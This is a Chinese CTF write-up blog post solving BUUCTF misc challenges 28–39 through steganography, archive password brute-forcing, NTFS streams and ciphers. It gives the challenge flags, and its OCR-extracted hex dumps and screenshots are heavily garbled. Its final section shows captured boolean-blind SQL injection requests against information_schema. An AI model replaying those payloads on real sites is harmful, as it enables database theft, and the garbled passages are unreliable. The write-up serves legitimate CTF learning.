	00042380	01	00	28	00	58	04	00	00	00	00	A8	00	2E	02	64	00	(X . d
	00042390	00	00	A8	00	34	02	20	00	D8	06	20	00	D2	06	24	00	
	000423A0	D6	06	01	00	28	00	58	04	00	00	A8	00	ЗA	02	6B	00	0 (X ¨:k
	000423B0	00	00	A8	00	40	02	Β7	04	27	00	DO	06	00	00	00	00	"@•'Ð
	00042300	00	00	A8	00	44	02	7A	00	00	00	AЗ	00	5C	02	F8	D7	¨Dz £∖ø×
	000423D0	00	00	A8	00	48	02	20	00	BE	02	21	00	CO	02	20	00	H %4 ! A
	000423E0	BE	02	21	00	C2	02	B6	00	17	00	43	68	61	6E	67	65	¾ ! A ¶ Change
	000423F0	53	68	65	65	74	56	69	73	69	62	69	6C	69	74	79	28	SheetVisibility(
	00042400	29	00	41	00	BC	02	03	00	00	00	69	00	FF	FF	88	D7) A ¼ 1 yy,×
	00042410	00	00	EU	00	00	00	25	00	66	6C	61	67	20	69	73	20	á % flag 1s
	00042420	68	65	72	65	20	43	54	46	7B	6F	66	66	69	63	65	5F	here CIF{office_
	00042430	65	61	73	79	51	63	72	61	63	68	65	64	7D	00	00	00	easy_cracked
	00042440	00	00	FF DO	FF OO	F F	11	80	ע/	00	00	11	11	rr oo	rr cr	00	00	yyyy × yyyy
	00042450	10	62	88	00	41	74	74	72	69 25	62	75	74	00	65	20	56	p, Attribut e V
	00042460	42	SF	4E	b1 7г	ъυ	00	65	20	3D 60	20	22	50	75	62 0D	00	6C 0D	B_Nam e = "Pub I
	00042470	69	63 0%	46	75	6Ĕ	63 20	74	00	69 70	55	bЕ	/3	22	UU CC	UA Z A	01	USUM @ <u>1995</u> 770524
1	00042480	118	ΠΔ	21 H	211	11.1	211	201	25	28	211	пч	1111	ьΒ	ьч	74	111	lin Evn hit

题28: find_me

用到工具exiftool,可以收集到图片的exif信息

什么是exif信息呢。

EXIF信息,是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。 EXIF可以附加于JPEG、TIFF、RIFF等文件之中,为其增加有关数码相机拍摄信息的内容和索引图或图像处理软件的版本信息。

利用这个我们可以收集图片的拍摄的位置信息,时间,拍摄照片的手机信息,图片的基础信息等等,所以这个对于信息收集的帮助是很大的

https://my.oschina.net/u/3778921/blog/3059992

安装: apt-get install exiftool

使用: exiftool + 文件名

发现盲文, 备注里面也有

(root kali)-[/home/kali/桌面 # exiftool <u>attachment.jpg</u> ExifTool Version Number File Name Directory	12.36 attachment.jpg
File Size File Modification Date/Time File Access Date/Time File Inode Change Date/Time	 127 N16 2022:02:03 06:34:19-05:00 2022:02:03 06:35:22-05:00 2022:02:03 06:35:11-05:00
File Permissions File Type File Type Extension	-rwxrw-rw- JPEG jpg
MIME Type Exif Byte Order Software	image/jpeg Big-endian (Motorola, MM) Adobe Photoshop CC 2018 (Windows)
Artist XP Comment Padding xtract)	52HeRtz
XMP Toolkit 13-01:06:39	Adobe XMP Core 5.6-c142 79.160924, 2017/07/
Authors Position Creator Tool Creator Current IPTC Digest	52HeRtz Adobe Photoshop CC 2018 (Windows) 52HeRtz 2adef26c2475bb7c4db0fe45a2cbd2bd
Coded Character Set Application Record Version Object Name By-line Py line Title	UTF8 4 Congratulations! 52HeRtz 52HeRtz
IPTC Digest	2adef26c2475bb7c4db0fe4衰g的检查五六六0524

ANA ANA		attachment.j	ipg 属性	×
E AL	常	> 安全	详细信息 以前的版本	
		属性	值	^
1		说明 ——		-
t		标题		
		主题		
		分级	\dot{x} \dot{x} \dot{x} \dot{x}	
1		标记		
6		备汪	iber i De eiereletereleter	
3		来源 ——		-
		作者	52HeRtz	
ac		拍摄日期		
		程序名称	Adobe Photoshop CC 2018 (Windows)	
		秋取日期 □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□		
		版权		
		图像 ——		-
		图像 ID	402 402	
		分辨率	482 x 482	
		苋度	482 傢寮	
-14		同员	462 1家东 06 dpi	
1.		小十刀卅华	96 dpi	
		<u>単直力が</u> 単 位深度	24	
			L 1	~
		删除居性和人	人信自	
N				
1			确完 取消 动	Ξ(Δ)
R			WHALL REAL CSDN @五任	代代0524

盲文在线加解密: https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen

很奇怪的是从kali里面复制出来的盲文死活解密不出来,从备注里面复制的就可以,flag{y\$0\$u_f\$1\$n\$d\$_M\$e\$e\$e\$e}

题29: 纳尼

		咦! 这个文件怎么打不开?
6.gif	题目.txt	CSDN @五五六六0524

在gif前面加一个文件头, 47 49 46 38

6.gif 题目.t	xt																
Offset	Ó	1	2	3	4	5	6	7	8	- 9	A	В	C	D	E	F	^
00000000	47	49	46	38	39	61	80	04	88	02	F7	00	00	02	02	02	GIF89a∣ ∣ ÷
00000010	ΟA	01	02	00	09	01	01	02	ΟB	ΟA	02	ΟB	02	ΟA	09	09	
00000020	08	ΟA	11	00	00	12	00	ΟB	11	08	03	02	02	12	ΟA	01	
00000030	13	01	02	1B	02	09	17	2E	06	00	34	01	02	ЗA	01	01	. 4 :
00000040	ЗC	00	OB	38	OF	13	01	02	2C	00	OD	23	01	02	33	08	< BCSDN @五近六六0
00000050	00	22	$\circ \circ$	$\sim \sim$	22	01	0.1	20	00	00	20	4 🗖	$\sim \sim$	OD	47	0.1	

gif上就有显示了,用stegslove给分离开,Q1RGe3dhbmdfYmFvX3FpYW5nX2lzX3NhZH0=,base64解密一 下, flag{wang_bao_qiang_is_sad}

题30: outgess

binwalk一下发现有TIFF, 一般就是用exiftool查看了

[<mark>kali⊛</mark> [\$ binwalk	<mark>cali</mark>)-[~/ 桌面] < <u>mmm.jpg</u>	
DECIMAL	HEXADECIMAL	DESCRIPTION
0 30	0×0 0×1E	JPEG image data, JFIF standard 1.01 TIFF image data, big-endian, offset oCSDNt@ <u>雨宇</u> ヴィ产(052248

发现"公正民主公正文明公正和谐",在属性里也有

(kali@ kali)-[~/桌面] \$ exiftool mmm.jpg Exiftool Version Number File Name Directory File Size File Modification Date/Time File Access Date/Time File Inode Change Date/Time File Permissions File Permissions File Type File Type Extension MIME Type JFIF Version Resolution Unit X Resolution V Resolution Y Resolution Exif Byte Order XP Comment Padding Image Width Image Height Encoding Process Bits Per Sample	<pre>: 12.36 : mmm.jpg : . : 23 KiB : 2020:03:05 05:02:45-05:00 : 2022:02:03 07:10:27-05:00 : 2022:02:03 07:10:27-05:00 : -rwxrw-rw- : JPEG : jpg : image/jpeg : 1.01 : inches : 96 : 96 : 96 : Big-endian (Motorola, MM) : 公正民主公正文明公正和谐 : (Binary data 2060 bytes, use -b option to extract) : 350 : 328 : Baseline DCT, Huffman coding : 8</pre>
Encoding Process	: Baseline DCT, Huffman coding
Bits Per Sample	: 8
Color Components	: 3
Y Cb Cr Sub Sampling	: YCbCr4:2:0 (2 2)
Image Size	: 350×328
Megapixels	: 0.115 CSDN @五五六六0524

社会主义核心价值观加密一下,得到abc

准备就绪!	🍋 🚳 🔀 🚹 🕒 🦰 📶
abc	
加密解密	
公正民主公正文明公正和谐	CSDN @五五六六0524

根据题目猜想是outgess隐写

用"终端命令输入 git clone https://github.com/crorvick/outguess 进行下载"这个方法失败了



用"sudo apt install outguess"成功了,源自在Linux下安装和使用Steghide、Outguess的方法_Linux教程_云网牛站,命令基本上就是这样

<pre>(kali⊛kali)-[~/桌页 \$ outguesshelp</pre>	
outguess: invalid opti	ion '-'
OutGuess 0.4 Universal	l Stego 1999-2021 Niels Provos and others
outguess [options] [<i< td=""><td>input file> [<output file="">]]</output></td></i<>	input file> [<output file="">]]</output>
–h p	print this usage help text and exit
-[sS] <n> i</n>	iteration start, capital letter for 2nd dataset
-[iI] <n> i</n>	iteration limit
-[kK] <kev> k</kev>	kev
-[dD] <name> f</name>	fiĺename of dataset
-[eE] ι	use error correcting encoding
-p <param/> p	parameter passed to destination data handler
-r r	retrieve message from data
-x <n> r</n>	number of key derivations to be tried
-m n	mark pixels that have been modified
-t (collect statistic information
-F[+-] t	turns statistical steganalysis foiling on/off.
1	The default is on. CSDN @五五六六0524

前面得到的abc就是key了, outgess -k 'abc' -r mmm.jpg flag.txt, 直接出flag{gue33 Gu3Ss!2020}

n(ka r\$ oi	ali⊛kal i utguess -	i)-[~/桌 i -k 'abc'	面] -r <u>mmm.</u>	<u>ipg</u> flag.txt	
2				flag.txt	
文件(F)	编辑(E)	搜索(S)	选项(O)	帮助(H)	
ACTF{g	ue33_G	u3Ss!20)20}		CSDN @五五六六0524

题31、谁赢了比赛

得到一张图,仍进winhex发现里面有txt

0018AFB0	56 BA 07 E1 91 DB 1A 74	20 90 2D 00 1F 00 00 00	Vºá'Ût -	
0018AFC0	1F 00 00 00 02 37 01 89	BD 1D 71 13 47 1D 30 08	7 ∎½ q G O	
0018AFD0	00 20 00 00 00 66 6C 61	67 2E 74 78 74 00 BO F1	flag.txt °ñ	
0018AFE0	AC 1A 77 68 65 72 65 20	64 6F 20 79 6F 75 20 74	¬ where do you t	
0018AFF0	68 69 6E 6B 20 74 68 65	20 66 6C 61 67 20 69 73	hink the flag is	
0018B000	3F C4 3D 7B 00 40 07 00		?Ä={ @	
			CSDN @五五六六0524 hipwall	八內
			DILIVVAIK	カム

出来一个rar,需要密码,爆破一下是1020,解密得到一个没啥用的TXT和一个gif,用stegslove看每一帧,总共 360帧,在310终于发现

<u>*</u>		_		\times
Frame : 310 of 360				
	do_you_know_w	here_is_	the_flag	5
< > Save	CSDN	@ <u>Ŧ.Ŧ</u>	大六05	524

保存出来,binwalk一下没有发现什么,用stegslove在红色通道里发现二维码,一扫得 flag{shanxiajingwu_won_the_game}



题32、来题中等的吧



CSDN @五五六六0524

条形码读取, binwalk, stegslove均一无所获, 把绿色看成规律, 大横杠就是-, 小横杠就是., 得到

翻译一下就是alphalab, flag{alphalab}

题33、我有一只马里奥

运行程序后生成一个txt

🥘 1.tx	t - 记事本					
文件(F)	编辑(E)	格式(O)	查看(V)	帮助(H)		
ntfs						
flag.tx	t					
_ J					CSDN @	五五六六0524

BUU-MISC-我有一只马里奥_TzZzEZ-web的博客-CSDN博客 BUUCTF-Misc-No.3 - 水星sur - 博客园

查看ntfs流,在当前目录打开cmd(直接输入cmd即可),输入notepad 1.txt:flag.txt,直接出 swupctf{ddg_is_cute}, flag{ddg_is_cute}

C:\Windo	ws\System32\cmd.exe	~	ひ	
🔜 桌面	石朳	1珍以口朔 9	229	ntfs flag tyt
*	1.txt	2019/12/4 20:39 🕏	て本文	
*				CSDN @五五六六0524

题34、[GXYCTF2019]gakki

binwalk发现图片里面有东西

(kali⊛kal : └\$ binwalk <u>1</u>	i)-[~/ 桌面] . jpg	
DECIMAL	HEXADECIMAL	DESCRIPTION
0 30 137448	0×0 0×1E 0×218E8	JPEG image data, JFIF standard 1.01 TIFF image data, big-endian, offset of first image directory: 8 RAR archive data, version 4.x, first volume type: MAIN_HEAD CSDN @由由八六0524

提取出来爆破,密码是8864,解压得到一大堆毫无规律的字符,说是字频统计BUUCTF: [GXYCTF2019]gakki_末初 · mochu7-CSDN博客_buu gakki

```
a= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"
txt=open('C:\\Users\\86139\\Desktop\\flag.txt').read()
re={}
for i in a:
    m=0
    for j in txt:
        if i==j:
            m+=1
            re[i]=m
res = sorted(re.items(),key=lambda item:item[1],reverse=True)
flag=''
for c in res:
    flag+=str(c[0])
print(flag)
```

自己写了个脚本,提取出来就是flag{gaki_lsMyw1fe}



题35、[SWPU2019]伟大的侦探

压缩包能解压出来一部分,根据提示得改变编码

🧐 密码.txt - 记事本	
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)	
压缩包密码: 摂m墷m 阝倕iiim 仉Z	
呜呜呜,我忘记了压缩包密码的编码了,大家帮我解-	一哈。
	CSDN @五五六六0524

BUUCTF: [SWPU2019]伟大的侦探_末初 · mochu7-CSDN博客_buuctf 伟大的侦探拖进010把编码改成 EBCDIC,解压密码是wllm_is_the_best_team!



解压得到18张小人图,伟大的侦探——福尔摩斯,这个居然是福尔摩斯小人密码,真真想不到











× 8.jpg



5.jpg



10.jpg

6.jpg





12.jpg









5 17.jpg



18.jpg

CSDN @五五六六0524

网上找了很多图,还是博主的全,在此借鉴一下,对照得到flag{iloveholmesandwllm}





题36、[GUET-CTF2019]KO

打开之后长这样, ook解密一下, flag{welcome to CTF }

🥘 attachment.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

题37、黑客帝国

得到一个txt文本,字频统计也不对,base解码也不对,最后发现是rar文件 (RAR Archive (rar),文件头: 52617221),用winhex保存

🧾 7ecb86887bd03535a7f9959e934e901e.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

526172211a0700ce997380000d0000000000000e4a01ab6691f 2ef90cc75d0bd270b01ea68a61b530c4e1324539adf83f40124f3a 89eca5da0e95cf0ada954c4299790c3ebbd63de1395064ea63391 54d385e962d81c49442aec87f9c9e12b654cc74bb12b050830c86 f50ad6d36cbfc076078b4a861eeaed59cbe634bea65164de568ba

爆破解密,密码3690,解密得到一张图,打不开,拉进winhex发现,图片末尾是

 12A670
 25
 41
 A8
 78
 A3
 C3
 BA
 96
 8D
 69
 25
 CD
 A5
 92
 C3
 1D
 %A^{*}x£ÃºI
 i%Í¥'Ã

 12A680
 C4
 F6
 AE
 88
 5D
 96
 E5
 99
 63
 1D
 CA
 AB
 13
 E9
 45
 15
 Äö®I]IåIc
 É«
 éE

 12A690
 32
 93
 B0
 E3
 15
 74
 7F
 FF
 Ig9
 21
 Ig1
 <td

开头却是,把89 50改成FF D8

Offset	0	1	2	3	4	-5	6	7	8	- 9	Α	В	C	D	Е	F	^
00000000	89	50	4E	47	00	10	4A	46	49	46	00	01	01	01	00	48	PNG JFIF H
00000010	00	48	00	00	FF	DB	00	43	00	02	01	01	02	01	01	02	нÿÛС
00000020	02	02	02	02	02	02	02	03	05	03	03	03	03	03	06	Q4	N @五五六六0524
00000030	04	03	05	07	06	07	07	07	06	07	07	08	09	ΟB	09	08	П С ПП/() (0024

得到图片, flag{57cd4cfd4e07505b98048ca106132125}



题38、[MRCTF2020]ezmisc

改个高度,01改成02

		_			_														
	flag.png																		
٦	Offset		0	1	2	3	4	- 5	6	7	8	- 9	A	В	C	D	E	F	^
	0000000	0	89	50	4E	47	OD	ΟA	1A	ΟA	00	00	00	OD	49	48	44	52	PNG IHDR
	0000001	0	00	00	01	F 4	00	00	02	ЗF	08	02	00	00	00	37	OC	8F	ô ? 7
	0000002	0	ΟB	00	00	00	01	73	52	47	42	00	AE	CE	1C	Ε9	00	00	sRGB ®Î é
	0000003	0	00	04	67	41	4D	41	00	00	Β1	8F	ΟB	FC	61	05	00	00	gAMA ± üa
	0000004	0	00	09	70	48	59	73	00	00	ΟE	CЗ	00	00	0E	CЗ	01	C7	pHYs à à C
	0000005	0	6F	Α8	64	00	00	26	C5	49	44	41	54	78	5E	ED	DA	DD	o'd & A 印刷 御虹 二 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一 一
																			·· •

flag{1ts_vEryyyyyy_ez!}

Where)	, LS	
the	Fl	Lag	???

MRCTF{1ts_vEryyyyyy_ez!}

CSDN @五五六六0524

o ×

题39、sqltest

这一题涉及到SQL布尔盲注,没学过,研究了好久,参考BUUCTF-Web-sqltest_1tachi的博客-CSDN博客SQL盲注注入——布尔型_莫者的博客-CSDN博客_布尔盲注buuctf-misc-sqltest_~Venus的博客-CSDN博客

A Wiresnark · 导田 · HTTP 对家列表		Wireshark ·	导出	• НТТР	对象列表	
------------------------------	--	-------------	----	--------	------	--

文本过滤器:	: Conter	t Type:	All Conten	ıt-Types ∨
内容类型	型 大小 文件名			^
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20length((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20and%20ABLE_NAME='tb_flag'%20and%20ABLE_NAME='tb_flag'%20and%20ABLE_NAME='tb_flag'%20and%20ABLE_NAME='tb_flag'%20ABLE_NAME	J,1))>2		
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20length((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%20	(,1))>4		
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20length((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%20),1))>2		
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20length((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limit%20	(,1))>4		
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	(%200,1))	,%201,%20	(1))>100
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	(%201,1))	,%201,%20	(1))>100
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	(%201,1)	,%201,%20	(1))>200
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	<mark>(%200,1)</mark>	,%201,%20	(1))>200
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	(%201,1))	,%201,%20	(1))>150
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	(%200,1))	,%201,%20	(1))>150
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	(%200,1)	,%201,%20	(1))>125
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	(%201,1)	,%201,%20	(1))>125
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%201,1))	,%201,%20	(1))>112
I1 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%200,1))	,%201,%20	(1))>112
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%201,1))	,%201,%20	1))>106
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%200,1))	,%201,%20	1))>106
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%201,1))	,%201,%20	1))>103
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%200,1))	,%201,%20	1))>103
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%201,1))	,%201,%20	1))>101
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%200,1))	,%201,%20	1))>105
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%201,1))	,%201,%20	1))>102
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%200,1))	,%201,%20	1))>104
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%201,1))	,%201,%20	1))>102
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%200,1))	,%201,%20	1))>105
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%201,1))	,%202,%20	1))>100
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag'%20and%20TABLE_NAME='tb_flag'%20limi	:%200,1))	,%202,%20	1))>100
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20limi	.%201,1))	,%202,%20	1))>200
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20and%20TABLE_NAME='tb_ftag%20Inform	.%200,1))	,%202,%20	1))>50
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20limi	.%201,1))	,%202,%20	1))>150
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20and%20TABLE_NAME='tb_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20information_schema.COLUMNS%20information_schema.COLUMNS%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_flag%20	.%200,1))	,%202,%20	1))>75
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20tand%20TABLE_NAME='tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA='db_ftag%20tabtr((select%20column_name%20from%20f	.%200,1))	,%202,%20	1))>88
11 text/html	ml 780 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%20and%2	.%201,1))	,%202,%20	1))>125
11 text/html	ml 848 bytes index.php?act=news&id=1%20and%20ascii(substr(((select%20column_name%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20and%20TABLE_NAME=1tb_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20Inform%20Information_schema.COLUMNS%20where%20TABLE_SCHEMA=1db_ftag%20Inform%20	.%200,1))	,%202,%20	1))>94
